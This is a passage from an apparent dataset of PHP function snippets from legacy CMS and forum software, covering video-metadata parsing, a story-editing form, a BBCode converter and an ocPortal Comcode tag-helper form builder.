(array_key_exists('itemprop.url', $metakeys)) {\n\t\t\t\t\t\tif (strpos($metakeys['itemprop.url'], 'ttp:') > 0) {\n\t\t\t\t\t\t\t$videoUrl=$metakeys['itemprop.url'];\n\t\t\t\t\t\t}\n\n\t\t\t\t\t} elseif (array_key_exists('itemprop.playpageUrl', $metakeys)) {\n\t\t\t\t\t\tif (strpos($metakeys['itemprop.playpageUrl'], 'ttp:') > 0) {\n\t\t\t\t\t\t\t$videoUrl=$metakeys['itemprop.playpageUrl'];\n\t\t\t\t\t\t}\n\n\t\t\t\t\t} elseif (array_key_exists('og:video:url', $metakeys)) {\n\t\t\t\t\t\t\t$videoUrl= 'https' . $metakeys['og:video:url'];\n\t\t\t\t\t}\n\n\t\t\t\t\tif ($_SESSION[$this->cid][$this->commentid]['title'] =='') {\n\t\t\t\t\t\t$_SESSION[$this->cid][$this->commentid]['title'] = $title;\n\t\t\t\t\t}\n\n\t\t\t\t\tif ($videoUrl=='') {\n\t\t\t\t\t\t$videoUrl =$_SESSION[$this->cid][$this->commentid]['url'];\n\t\t\t\t\t}\n\n\t\t\t\t\t$_SESSION[$this->cid][$this->commentid]['urlfound'] = $videoUrl;\n\n\t\t\t\t\t$_SESSION[$this->cid][$this->commentid]['urltext'] = $videoUrl;\n\n\t\t\t\t\t$description= $this->croptitleordesc($description);\n\n\t\t\t\t\tif ($description=='') {\n\t\t\t\t\t\t$description=' ';\n\t\t\t\t\t}\n\n\t\t\t\t\t$_SESSION[$this->cid][$this->commentid]['description'] = $description;\n\t\t\t\t\t$_SESSION[$this->cid][$this->commentid]['totalcounter'] = 0;\n\t\t\t\t\tif ($thumbnailUrl !='') {\n\t\t\t\t\t\t$_SESSION[$this->cid][$this->commentid]['totalcounter'] = 1;\n\t\t\t\t\t}\n\n\t\t\t\t\t$_SESSION[$this->cid][$this->commentid]['logo'] = $thumbnailUrl;\n\n\t\t\t\t\t$_SESSION[$this->cid][$this->commentid]['videosite'] = $site_name;\n\t\t\t\t\t$_SESSION[$this->cid][$this->commentid]['embedUrl'] = $embedUrl;\n\t\t\t\t\t$return ='found';\n\t\t\t\t}\n\n\t\t\t}\n\n\t\t}\n\n\t\tif ($return == 'found') {\n\t\t\t// cleansing\n\t\t\t$description = $_SESSION[$this->cid][$this->commentid]['description'];\n\n\t\t\t$description = $this->cleanouttitleordesc($description);\n\t\t\t$_SESSION[$this->cid][$this->commentid]['description'] = $description;\n\n\t\t\t$title = $_SESSION[$this->cid][$this->commentid]['title'];\n\t\t\t$title = $this->cleanouttitleordesc($title);\n\t\t\t$_SESSION[$this->cid][$this->commentid]['title'] = $title;\n\t\t\treturn 'found';\n\t\t}\n\n\t\treturn '';\n\t}", "function storyEdit($subject, $hometext, $bodytext, $notes, $topic, $ihome, $catid, $alanguage, $comm, $aid, $informant, $format_type=0)\n{\n if (empty($format_type)) {\n $format_type = 0;\n }\n\n // Get the format types. 'home' string is bits 0-1, 'body' is bits 2-3.\n $format_type_home = ($format_type%4);\n $format_type_body = (($format_type/4)%4);\n\n $dbconn =& pnDBGetConn(true);\n $pntable =& pnDBGetTables();\n\n echo '<strong>'._TITLE.'</strong><br />'\n .'<input type=\"text\" name=\"subject\" size=\"50\" value=\"' . pnVarPrepForDisplay($subject) . '\" /><br />';\n buildTopicsMenu($topic);\n SelectCategory($catid);\n echo '<br />';\n puthome($ihome);\n withcomments($comm);\n // new function !\n buildLanguageMenu(true,$alanguage);\n\n $bbcode = array('', '', '');\n if(pnModIsHooked('pn_bbcode', 'Submit_News') && pnModIsHooked('pn_bbcode', 'AddStory') && pnModIsHooked('pn_bbcode', 'News')) {\n $bbcode[0] = pnModFunc('pn_bbcode', 'user', 'bbcodes', array('textfieldid' => 'articletext'));\n $bbcode[1] = pnModFunc('pn_bbcode', 'user', 'bbcodes', array('textfieldid' => 'extendedtext'));\n $bbcode[2] = pnModFunc('pn_bbcode', 'user', 'bbcodes', array('textfieldid' => 'notestext'));\n }\n $bbsmile = array('', '', '');\n if(pnModIsHooked('pn_bbsmile', 'Submit_News') && pnModIsHooked('pn_bbsmile', 'AddStory') && pnModIsHooked('pn_bbsmile', 'News')) {\n pnModAPILoad('pn_bbsmile', 'user');\n $bbsmile[0] = pnModFunc('pn_bbsmile', 'user', 'bbsmiles', array('textfieldid' => 'articletext'));\n $bbsmile[1] = pnModFunc('pn_bbsmile', 'user', 'bbsmiles', array('textfieldid' => 'extendedtext'));\n $bbsmile[2] = pnModFunc('pn_bbsmile', 'user', 'bbsmiles', array('textfieldid' => 'notestext'));\n }\n\n echo '<br /><strong>'._STORYTEXT.'</strong><br />'\n .'<textarea cols=\"80\" rows=\"10\" name=\"hometext\" id=\"articletext\">';\n // Remove br tags only if format of hometext is 'text'.\n if ($format_type_home == 0)\n {\n echo pnVarPrepForDisplay(unnltobr($hometext));\n } else {\n echo pnVarPrepForDisplay($hometext);\n }\n echo '</textarea><br />'\n . $bbcode[0]\n . $bbsmile[0] ;\n\n // Choose format type for hometext.\n buildFormatTypeMenu(\"format_type_home\", $format_type_home);\n\n echo '<br /><strong>'._EXTENDEDTEXT.'</strong><br />'\n .'<textarea cols=\"80\" rows=\"10\" name=\"bodytext\" id=\"extendedtext\">';\n // Remove br tags only if format of bodytext is 'text'\n // The bodytext flag is in bits 2 and 3.\n if ($format_type_body == 0) {\n echo pnVarPrepForDisplay(unnltobr($bodytext));\n } else {\n echo pnVarPrepForDisplay($bodytext);\n }\n echo '</textarea><br />'\n . $bbcode[1]\n . $bbsmile[1]\n . _PAGEBREAK.'<br />';\n // Choose format type for hometext.\n buildFormatTypeMenu(\"format_type_body\", $format_type_body);\n\n echo '<br />'._AREYOUSURE.'<br />';\n if (pnSecAuthAction(0, 'Stories::', \"$subject::\", ACCESS_EDIT)) {\n echo '<strong>'._NOTES.'</strong><br />'\n . '<textarea cols=\"80\" rows=\"5\" name=\"notes\" id=\"notestext\">'\n . pnVarPrepForDisplay(unnltobr($notes)) . '</textarea>'\n . '<br />'\n . $bbcode[2]\n . $bbsmile[2];\n } else {\n echo '<input type=\"hidden\" value=\"' . pnVarPrepForDisplay($notes). '\" />';\n }\n}", "function bbcode2fudcode($str)\n{\n\t// Replace [center] with [align=center].\n\t$str = preg_replace('!\\[center\\](.*)\\[/center\\]!i', '[align=center]\\1[/align]', $str);\n\n\t// Convert [strike] to FUDforum's [del] or [s] tags.\n\t// <strike> is not valid HTML5 and will probably never be implemented in FUDforum.\n\t$str = preg_replace('!\\[strike\\](.*)\\[/strike\\]!i', '[del]\\1[/del]', $str);\n\n\t$str = preg_replace('!\\[(.+?)\\:([a-z0-9]+)?\\]!s', '[\\1]', $str);\n\t$str = preg_replace('!\\[quote\\:([a-z0-9]+?)=\"(.*?)\"\\]!is', '[quote=\\2]', $str);\n\t$str = preg_replace('!\\[code\\:([^\\]]+)\\]!is', '[code]', $str);\n\t$str = preg_replace('!\\[/code\\:([^\\]]+)\\]!is', '[/code]', $str);\n\t$str = preg_replace('!\\[list\\:([^\\]]+)\\]!is', '[list]', $str);\n\t$str = preg_replace('!\\[/list\\:([^\\]]+)\\]!is', '[/list]', $str);\n\t$str = preg_replace(\"#(^|[\\n ])((www|ftp)\\.[\\w\\-]+\\.[\\w\\-.\\~]+(?:/[^ \\\"\\t\\n\\r<]*)?)#is\", \"\\\\1http://\\\\2\", $str);\n\n\t$str = smiley_to_post(tags_to_html($str, 1, 1));\n\n\treturn $str;\n}", "function all_words_wellknown_full($txid, $status) \n{\n if ($status == 98) {\n pagestart(\"Setting all blue words to Ignore\", false); \n } else {\n pagestart(\"Setting all blue words to Well-known\", false); \n }\n all_words_wellknown_content($txid, $status);\n pageend();\n}", "function comcode_helper_script()\n{\n\trequire_lang('comcode');\n\t$type=get_param('type','step1');\n\n\tlist($tag_list,$custom_tag_list)=_get_details_comcode_tags();\n\n\trequire_code('comcode_text');\n\n\tglobal $DANGEROUS_TAGS,$TEXTUAL_TAGS;\n\n\tif ($type=='step1')\n\t{\n\t\t$title=get_page_title('COMCODE_TAG');\n\t\t$keep=symbol_tempcode('KEEP');\n\t\t$comcode_groups='';\n\t\t$groups=_get_group_tags();\n\n\t\t$non_wysiwyg_tags=_get_non_wysiwyg_tags();\n\t\t$in_wysiwyg=get_param_integer('in_wysiwyg',0)==1;\n\n\t\tforeach ($groups as $groupname=>$grouptags)\n\t\t{\n\t\t\tsort($grouptags);\n\n\t\t\t$comcode_types='';\n\t\t\tforeach ($grouptags as $tag)\n\t\t\t{\n\t\t\t\t$custom=array_key_exists($tag,$custom_tag_list);\n\t\t\t\tif (($in_wysiwyg) && (!$custom) && (!in_array($tag,$non_wysiwyg_tags))) continue;\n\n\t\t\t\tif ((array_key_exists($tag,$DANGEROUS_TAGS)) && (!has_specific_permission(get_member(),'comcode_dangerous'))) continue;\n\n\t\t\t\tif ($custom)\n\t\t\t\t{\n\t\t\t\t\t$description=make_string_tempcode(escape_html(is_integer($custom_tag_list[$tag]['tag_description'])?get_translated_text($custom_tag_list[$tag]['tag_description']):$custom_tag_list[$tag]['tag_description']));\n\t\t\t\t} else\n\t\t\t\t{\n\t\t\t\t\t$description=do_lang_tempcode('COMCODE_TAG_'.$tag);\n\t\t\t\t}\n\n\t\t\t\t$url=find_script('comcode_helper').'?type=step2&tag='.urlencode($tag).'&field_name='.get_param('field_name').$keep->evaluate();\n\t\t\t\tif (get_param('utheme','')!='') $url.='&utheme='.get_param('utheme');\n\t\t\t\t$link_caption=escape_html($tag);\n\t\t\t\t$usage='';\n\n\t\t\t\t$comcode_types.=static_evaluate_tempcode(do_template('BLOCK_HELPER_BLOCK_CHOICE',array('USAGE'=>$usage,'DESCRIPTION'=>$description,'URL'=>$url,'LINK_CAPTION'=>$link_caption)));\n\t\t\t}\n\t\t\tif ($comcode_types!='')\n\t\t\t\t$comcode_groups.=static_evaluate_tempcode(do_template('BLOCK_HELPER_BLOCK_GROUP',array('IMG'=>NULL,'TITLE'=>do_lang_tempcode('COMCODE_GROUP_'.$groupname),'LINKS'=>$comcode_types)));\n\t\t}\n\t\t$content=do_template('BLOCK_HELPER_START',array('_GUID'=>'d2d6837cdd8b19d80ea95ab9f5d09c9a','GET'=>true,'TITLE'=>$title,'LINKS'=>$comcode_groups));\n\t}\n\telseif ($type=='step2')\n\t{\n\t\trequire_code('form_templates');\n\n\t\t$actual_tag=get_param('tag');\n\t\tif ((!isset($tag_list[$actual_tag])) && (!isset($custom_tag_list[$actual_tag])))\n\t\t\twarn_exit(do_lang_tempcode('INTERNAL_ERROR'));\n\t\t$tag=$actual_tag;\n\t\tif ($tag=='attachment_safe') $tag='attachment';\n\n\t\t$title=get_page_title('_COMCODE_HELPER',true,array($tag));\n\n\t\t$fields=new ocp_tempcode();\n\t\t$fields_advanced=new ocp_tempcode();\n\t\t$done_tag_contents=false;\n\t\t$hidden=new ocp_tempcode();\n\n\t\t$javascript='';\n\n\t\t$preview=true;\n\n\t\trequire_code('comcode_text');\n\t\t$defaults=parse_single_comcode_tag(get_param('parse_defaults','',true),$actual_tag);\n\n\t\t$default_embed=array_key_exists('',$defaults)?('[semihtml]'.$defaults[''].'[/semihtml]'):get_param('default','');\n\n\t\t$embed_required=true;\n\t\tif ($tag=='contents') $embed_required=false;\n\n\t\tif (isset($custom_tag_list[$tag]['tag_description']))\n\t\t{\n\t\t\t$tag_description=protect_from_escaping($custom_tag_list[$tag]['tag_description']);\n\t\t} else\n\t\t{\n\t\t\t$tag_description=protect_from_escaping(do_lang('COMCODE_TAG_'.$tag));\n\t\t}\n\n\t\tif (array_key_exists($tag,$tag_list))\n\t\t{\n\t\t\t$params=$tag_list[$tag];\n\t\t\tif ($tag=='include')\n\t\t\t{\n\t\t\t\t$default_embed=array_key_exists('',$defaults)?($defaults['']):get_param('default','');\n\t\t\t\tif (strpos($default_embed,':')===false) $default_embed=':'.$default_embed;\n\t\t\t\t$fields->attach(form_input_page_link(do_lang_tempcode('PAGE'),'','tag_contents',$default_embed,true,NULL,'comcode'));\n\t\t\t\t$done_tag_contents=true;\n\t\t\t}\n\t\t\telseif ($tag=='concepts')\n\t\t\t{\n\t\t\t\tforeach ($params as $param)\n\t\t\t\t{\n\t\t\t\t\t$description=do_lang('COMCODE_TAG_'.$tag.'_PARAM_'.$param);\n\t\t\t\t\t$fields->attach(form_input_line_multi(ucwords(str_replace('_',' ',$param)),protect_from_escaping($description),$param,get_defaults_multi($defaults,$param),1));\n\t\t\t\t}\n\t\t\t}\n\t\t\telseif ($tag=='jumping')\n\t\t\t{\n\t\t\t\tforeach ($params as $param)\n\t\t\t\t{\n\t\t\t\t\t$description=do_lang('COMCODE_TAG_'.$tag.'_PARAM_'.$param);\n\t\t\t\t\t$fields->attach(form_input_line_multi(ucwords(str_replace('_',' ',$param)),protect_from_escaping($description),$param,get_defaults_multi($defaults,$param),2));\n\t\t\t\t}\n\t\t\t}\n\t\t\telseif ($tag=='shocker')\n\t\t\t{\n\t\t\t\tforeach ($params as $param)\n\t\t\t\t{\n\t\t\t\t\t$description=do_lang('COMCODE_TAG_'.$tag.'_PARAM_'.$param);\n\t\t\t\t\tif ($param=='left' || $param=='right')\n\t\t\t\t\t\t$fields->attach(form_input_line_multi(ucwords(str_replace('_',' ',$param)),protect_from_escaping($description),$param,get_defaults_multi($defaults,$param),2));\n\t\t\t\t\telse\n\t\t\t\t\t\t$fields->attach(form_input_line(ucwords(str_replace('_',' ',$param)),protect_from_escaping($description),$param,'',false));\n\t\t\t\t}\n\t\t\t}\n\t\t\telseif ($tag=='random')\n\t\t\t{\n\t\t\t\tforeach ($params as $param)\n\t\t\t\t{\n\t\t\t\t\t$description=do_lang('COMCODE_TAG_'.$tag.'_PARAM_'.$param);\n\t\t\t\t\t$fields->attach(form_input_line_multi(ucwords(str_replace('_',' ',$param)),protect_from_escaping($description),$param,get_defaults_multi($defaults,$param),($param!='X')?2:0));\n\t\t\t\t}\n\t\t\t}\n\t\t\telseif ($tag=='sections')\n\t\t\t{\n\t\t\t\tforeach ($params as $param)\n\t\t\t\t{\n\t\t\t\t\tif($param=='default')\n\t\t\t\t\t{\n\t\t\t\t\t\t$description=do_lang('COMCODE_TAG_'.$tag.'_PARAM_'.$param);\n\t\t\t\t\t\t$default=array_key_exists($param,$defaults)?$defaults[$param]:get_param('default_'.$param,'1');\n\t\t\t\t\t\t$fields->attach(form_input_integer(ucwords(str_replace('_',' ',$param)),protect_from_escaping($description),$param,intval($default),false));\n\t\t\t\t\t}\n\t\t\t\t\telseif($param=='name')\n\t\t\t\t\t{\n\t\t\t\t\t\t$description=do_lang('COMCODE_TAG_'.$tag.'_PARAM_'.$param);\n\t\t\t\t\t\t$fields->attach(form_input_line_multi(ucwords(str_replace('_',' ',$param)),protect_from_escaping($description),$param,get_defaults_multi($defaults,$param),2));\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\telseif ($tag=='big_tabs')\n\t\t\t{\n\t\t\t\tforeach ($params as $param)\n\t\t\t\t{\n\t\t\t\t\tif($param=='default')\n\t\t\t\t\t{\n\t\t\t\t\t\t$description=do_lang('COMCODE_TAG_'.$tag.'_PARAM_'.$param);\n\t\t\t\t\t\t$default=array_key_exists($param,$defaults)?$defaults[$param]:get_param('default_'.$param,'1');\n\t\t\t\t\t\t$fields->attach(form_input_integer(ucwords(str_replace('_',' ',$param)),protect_from_escaping($description),$param,intval($default),false));\n\t\t\t\t\t}\n\t\t\t\t\telseif($param=='name')\n\t\t\t\t\t{\n\t\t\t\t\t\t$description=do_lang('COMCODE_TAG_'.$tag.'_PARAM_'.$param);\n\t\t\t\t\t\t$fields->attach(form_input_line_multi(ucwords(str_replace('_',' ',$param)),protect_from_escaping($description),$param,get_defaults_multi($defaults,$param),2));\n\t\t\t\t\t}\n\t\t\t\t\telseif($param=='switch_time')\n\t\t\t\t\t{\n\t\t\t\t\t\t$description=do_lang('COMCODE_TAG_'.$tag.'_PARAM_'.$param);\n\t\t\t\t\t\t$default=array_key_exists($param,$defaults)?$defaults[$param]:get_param('default_'.$param,'6000');\n\t\t\t\t\t\t$fields->attach(form_input_integer(ucwords(str_replace('_',' ',$param)),protect_from_escaping($description),$param,intval($default),false));\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\telseif ($tag=='tabs')\n\t\t\t{\n\t\t\t\tforeach ($params as $param)\n\t\t\t\t{\n\t\t\t\t\tif($param=='default')\n\t\t\t\t\t{\n\t\t\t\t\t\t$description=do_lang('COMCODE_TAG_'.$tag.'_PARAM_'.$param);\n\t\t\t\t\t\t$default=array_key_exists($param,$defaults)?$defaults[$param]:get_param('default_'.$param,'1');\n\t\t\t\t\t\t$fields->attach(form_input_integer(ucwords(str_replace('_',' ',$param)),protect_from_escaping($description),$param,intval($default),false));\n\t\t\t\t\t}\n\t\t\t\t\telseif($param=='name')\n\t\t\t\t\t{\n\t\t\t\t\t\t$description=do_lang('COMCODE_TAG_'.$tag.'_PARAM_'.$param);\n\t\t\t\t\t\t$fields->attach(form_input_line_multi(ucwords(str_replace('_',' ',$param)),protect_from_escaping($description),$param,get_defaults_multi($defaults,$param),2));\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tif (count($params)>0)\n\t\t\t\t{\n\t\t\t\t\trequire_code('form_templates');\n\t\t\t\t\tforeach ($params as $param)\n\t\t\t\t\t{\n\t\t\t\t\t\t$parameter_name=do_lang('COMCODE_TAG_'.$tag.'_NAME_OF_PARAM_'.$param,NULL,NULL,NULL,NULL,false);\n\t\t\t\t\t\tif (is_null($parameter_name)) $parameter_name=ucwords(str_replace('_',' ',$param));\n\n\t\t\t\t\t\t$descriptiont=do_lang('COMCODE_TAG_'.$tag.'_PARAM_'.$param);\n\t\t\t\t\t\t$supports_comcode=(strpos($descriptiont,do_lang('BLOCK_IND_SUPPORTS_COMCODE'))!==false);\n\t\t\t\t\t\t$descriptiont=trim(str_replace(do_lang('BLOCK_IND_SUPPORTS_COMCODE'),'',$descriptiont));\n\t\t\t\t\t\t$is_advanced=(strpos($descriptiont,do_lang('BLOCK_IND_ADVANCED'))!==false);\n\t\t\t\t\t\t$descriptiont=trim(str_replace(do_lang('BLOCK_IND_ADVANCED'),'',$descriptiont));\n\n\t\t\t\t\t\t$default=array_key_exists($param,$defaults)?$defaults[$param]:get_param('default_'.$param,'');\n\t\t\t\t\t\tif (!array_key_exists($param,$defaults))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$matches=array();\n\t\t\t\t\t\t\tif (preg_match('#'.do_lang('BLOCK_IND_DEFAULT').': [\"\\']([^\"]*)[\"\\']#Ui',$descriptiont,$matches)!=0)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$default=$matches[1];\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\t$descriptiont=preg_replace('#\\s*'.do_lang('BLOCK_IND_DEFAULT').': [\"\\']([^\"]*)[\"\\'](?-U)\\.?(?U)#Ui','',$descriptiont);\n\n\t\t\t\t\t\tif (($tag=='page') && ($param=='param') && (substr_count($default,':')==1))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$fields->attach(form_input_page_link($parameter_name,protect_from_escaping($descriptiont),$param,$default,true,NULL));\n\t\t\t\t\t\t}\n\t\t\t\t\t\telseif (($tag=='attachment') && ($param=='thumb_url') && (addon_installed('filedump')))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$field=form_input_tree_list(do_lang_tempcode('THUMBNAIL'),do_lang_tempcode('COMCODE_TAG_attachment_PARAM_thumb_url'),'thumb_url','','choose_filedump_file',array('only_images'=>true),false,$default,false);\n\t\t\t\t\t\t\t$fields_advanced->attach($field);\n\t\t\t\t\t\t} else\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif (substr($descriptiont,0,12)=='0|1 &ndash; ')\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$field=form_input_tick($parameter_name,protect_from_escaping(ucfirst(substr($descriptiont,12))),$param,$default=='1');\n\t\t\t\t\t\t\t} elseif ((substr($descriptiont,-1)!='.') && (strpos($descriptiont,'|')!==false))\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$list=new ocp_tempcode();\n\t\t\t\t\t\t\t\tif (substr($descriptiont,0,1)!='=')\n\t\t\t\t\t\t\t\t\t$list->attach(form_input_list_entry(''));\n\t\t\t\t\t\t\t\tforeach (explode('|',$descriptiont) as $item)\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tif (strpos($item,'=')!==false)\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\tlist($item,$label)=explode('=',$item,2);\n\n\t\t\t\t\t\t\t\t\t\t// Simplify the choices\n\t\t\t\t\t\t\t\t\t\tif ($tag=='attachment')\n\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\tif (($item=='inline_extract') && (get_param_integer('is_archive',NULL)===0)) continue;\n\t\t\t\t\t\t\t\t\t\t\tif (($item=='island_extract') && (get_param_integer('is_archive',NULL)===0)) continue;\n\n\t\t\t\t\t\t\t\t\t\t\tif (($item=='inline') && (get_param_integer('is_image',NULL)===0)) continue;\n\t\t\t\t\t\t\t\t\t\t\tif (($item=='island') && (get_param_integer('is_image',NULL)===0)) continue;\n\n\t\t\t\t\t\t\t\t\t\t\tif (($item=='code') && ((get_param_integer('is_image',NULL)===1) || (get_param_integer('is_archive',NULL)===1))) continue;\n\n\t\t\t\t\t\t\t\t\t\t\tif (($item=='mail') && (get_param('default_type',NULL)!==NULL)) continue;\n\t\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\t\t$list->attach(form_input_list_entry($item,($item==$default),protect_from_escaping($label)));\n\t\t\t\t\t\t\t\t\t} else\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t$list->attach(form_input_list_entry($item,($item==$default)));\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t$field=form_input_list($parameter_name,'',$param,$list,NULL,false,false);\n\t\t\t\t\t\t\t} elseif ($param=='width' || $param=='height')\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$field=form_input_integer($parameter_name,protect_from_escaping($descriptiont),$param,($default=='')?NULL:intval($default),false);\n\t\t\t\t\t\t\t} else\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tif ($supports_comcode)\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$field=form_input_line_comcode($parameter_name,protect_from_escaping($descriptiont),$param,$default,false);\n\t\t\t\t\t\t\t\t} else\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$field=form_input_line($parameter_name,protect_from_escaping($descriptiont),$param,$default,false);\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tif ($is_advanced)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$fields_advanced->attach($field);\n\t\t\t\t\t\t\t} else\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$fields->attach($field);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\tif ($tag=='attachment')\n\t\t\t\t\t{\n\t\t\t\t\t\tif (get_option('eager_wysiwyg')=='0')\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$field=form_input_tick(do_lang_tempcode('COMCODE_TAG_attachment_safe'),do_lang_tempcode('COMCODE_TAG_attachment_safe_DESCRIPTION'),'_safe',$actual_tag=='attachment_safe' || $actual_tag=='attachment2');\n\t\t\t\t\t\t\t$fields_advanced->attach($field);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t} else\n\t\t{\n\t\t\t$_params=$custom_tag_list[$tag];\n\t\t\t$params=explode(',',$_params['tag_parameters']);\n\t\t\tforeach ($params as $param)\n\t\t\t{\n\t\t\t\t$description=new ocp_tempcode();\n\t\t\t\t$fields->attach(form_input_line(preg_replace('#=.*$#','',ucwords(str_replace('_',' ',$param))),protect_from_escaping($description),preg_replace('#=.*$#','',$param),preg_replace('#^.*=#U','',$param),false));\n\t\t\t}\n\t\t\t$tag_description=new ocp_tempcode();\n\t\t\t$tag_description->attach(is_integer($_params['tag_description'])?get_translated_text($_params['tag_description']):$_params['tag_description']);\n\t\t\t$tag_description->attach(paragraph(is_integer($_params['tag_example'])?get_translated_text($_params['tag_example']):$_params['tag_example']));\n\t\t}\n\n\t\tif ($tag=='attachment')\n\t\t{\n\t\t\tif (get_option('eager_wysiwyg')=='0')\n\t\t\t{\n\t\t\t\t$javascript.=\"document.getElementById('type').onchange=function() { document.getElementById('_safe').checked=(this.options[this.selectedIndex].value=='inline'); };\";\n\t\t\t}\n\n\t\t\tif (($default_embed!='') || (!addon_installed('filedump')))\n\t\t\t{\n\t\t\t\t$hidden->attach(form_input_hidden('tag_contents',$default_embed));\n\t\t\t\t$tag_description=new ocp_tempcode();\n\n\t\t\t\tif (substr($default_embed,0,4)=='new_') $preview=NULL;\n\t\t\t} else\n\t\t\t{\n\t\t\t\t$filedump_url=build_url(array('page'=>'filedump'),get_module_zone('filedump'));\n\t\t\t\t$fields->attach(form_input_tree_list(do_lang_tempcode('FILE'),do_lang_tempcode('COMCODE_TAG_attachment_EMBED_FILE',escape_html($filedump_url->evaluate())),'tag_contents','','choose_filedump_file',array('attachment_ready'=>true),true,'',false));\n\t\t\t}\n\t\t}\n\t\telseif (($tag=='sections') || ($tag=='big_tabs') || ($tag=='tabs') || ($tag=='list'))\n\t\t{\n\t\t\t$fields->attach(form_input_text_multi(do_lang_tempcode('TAG_CONTENTS'),protect_from_escaping(do_lang('COMCODE_TAG_'.$tag.'_EMBED')),'tag_contents',explode(',',$default_embed),2));\n\t\t}\n\t\telseif ((array_key_exists($tag,$TEXTUAL_TAGS)) || ($tag=='menu'))\n\t\t{\n\t\t\tif (($tag=='menu') && ($default_embed==''))\n\t\t\t{\n\t\t\t\t$default_embed='-contracted section\n +expanded section\n page = URL\n page = URL\n+expanded section\n page = URL\n page = URL';\n\t\t\t}\n\t\t\t$descriptiont=do_lang('COMCODE_TAG_'.$tag.'_EMBED');\n\t\t\t$descriptiont=trim(str_replace(do_lang('BLOCK_IND_SUPPORTS_COMCODE'),'',$descriptiont));\n\t\t\t$fields->attach(form_input_text_comcode(do_lang_tempcode('TAG_CONTENTS'),protect_from_escaping(do_lang('COMCODE_TAG_'.$tag.'_EMBED')),'tag_contents',$default_embed,$embed_required,NULL,true));\n\t\t}\n\t\telse\n\t\t{\n\t\t\tif (!$done_tag_contents)\n\t\t\t{\n\t\t\t\t$descriptiont=do_lang('COMCODE_TAG_'.$tag.'_EMBED',NULL,NULL,NULL,NULL,false);\n\t\t\t\tif (is_null($descriptiont)) $descriptiont='';\n\t\t\t\t$supports_comcode=(strpos($descriptiont,do_lang('BLOCK_IND_SUPPORTS_COMCODE'))!==false);\n\t\t\t\t$descriptiont=trim(str_replace(do_lang('BLOCK_IND_SUPPORTS_COMCODE'),'',$descriptiont));\n\t\t\t\tif ($supports_comcode)\n\t\t\t\t{\n\t\t\t\t\t$fields->attach(form_input_line_comcode(do_lang_tempcode('TAG_CONTENTS'),protect_from_escaping($descriptiont),'tag_contents',$default_embed,$embed_required));\n\t\t\t\t} else\n\t\t\t\t{\n\t\t\t\t\t$fields->attach(form_input_line(do_lang_tempcode('TAG_CONTENTS'),protect_from_escaping($descriptiont),'tag_contents',$default_embed,$embed_required));\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tif (!$fields_advanced->is_empty())\n\t\t{\n\t\t\t$fields->attach(do_template('FORM_SCREEN_FIELD_SPACER',array('SECTION_HIDDEN'=>true,'TITLE'=>do_lang_tempcode('ADVANCED'))));\n\t\t\t$fields->attach($fields_advanced);\n\t\t}\n\n\t\t$keep=symbol_tempcode('KEEP');\n\t\t$post_url=find_script('comcode_helper').'?type=step3&field_name='.get_param('field_name').$keep->evaluate();\n\t\tif (get_param('utheme','')!='') $post_url.='&utheme='.get_param('utheme');\n\n\t\tif (get_param('save_to_id','')!='')\n\t\t{\n\t\t\t$post_url.='&save_to_id='.urlencode(get_param('save_to_id'));\n\t\t\t$submit_name=do_lang_tempcode('SAVE');\n\n\t\t\t// Allow remove option\n\t\t\t$fields->attach(do_template('FORM_SCREEN_FIELD_SPACER',array('SECTION_HIDDEN'=>false,'TITLE'=>do_lang_tempcode('ACTIONS'),'HELP'=>'')));\n\t\t\t$fields->attach(form_input_tick(do_lang_tempcode('REMOVE'),'','_delete',false));\n\t\t} else\n\t\t{\n\t\t\t$submit_name=do_lang_tempcode('USE');\n\t\t}\n\n\t\t$text=$tag_description->is_empty()?new ocp_tempcode():do_lang_tempcode('COMCODE_HELPER_2',escape_html($tag),$tag_description);\n\t\t$hidden->attach(form_input_hidden('tag',$tag));\n\t\t$content=do_template('FORM_SCREEN',array('_GUID'=>'270058349d048a8be6570bba97c81fa2','TITLE'=>$title,'JAVASCRIPT'=>$javascript,'TARGET'=>'_self','SKIP_VALIDATION'=>true,'FIELDS'=>$fields,'URL'=>$post_url,'TEXT'=>$text,'SUBMIT_NAME'=>$submit_name,'HIDDEN'=>$hidden,'PREVIEW'=>$preview,'THEME'=>$GLOBALS['FORUM_DRIVER']->get_theme()));\n\t}\n\telseif 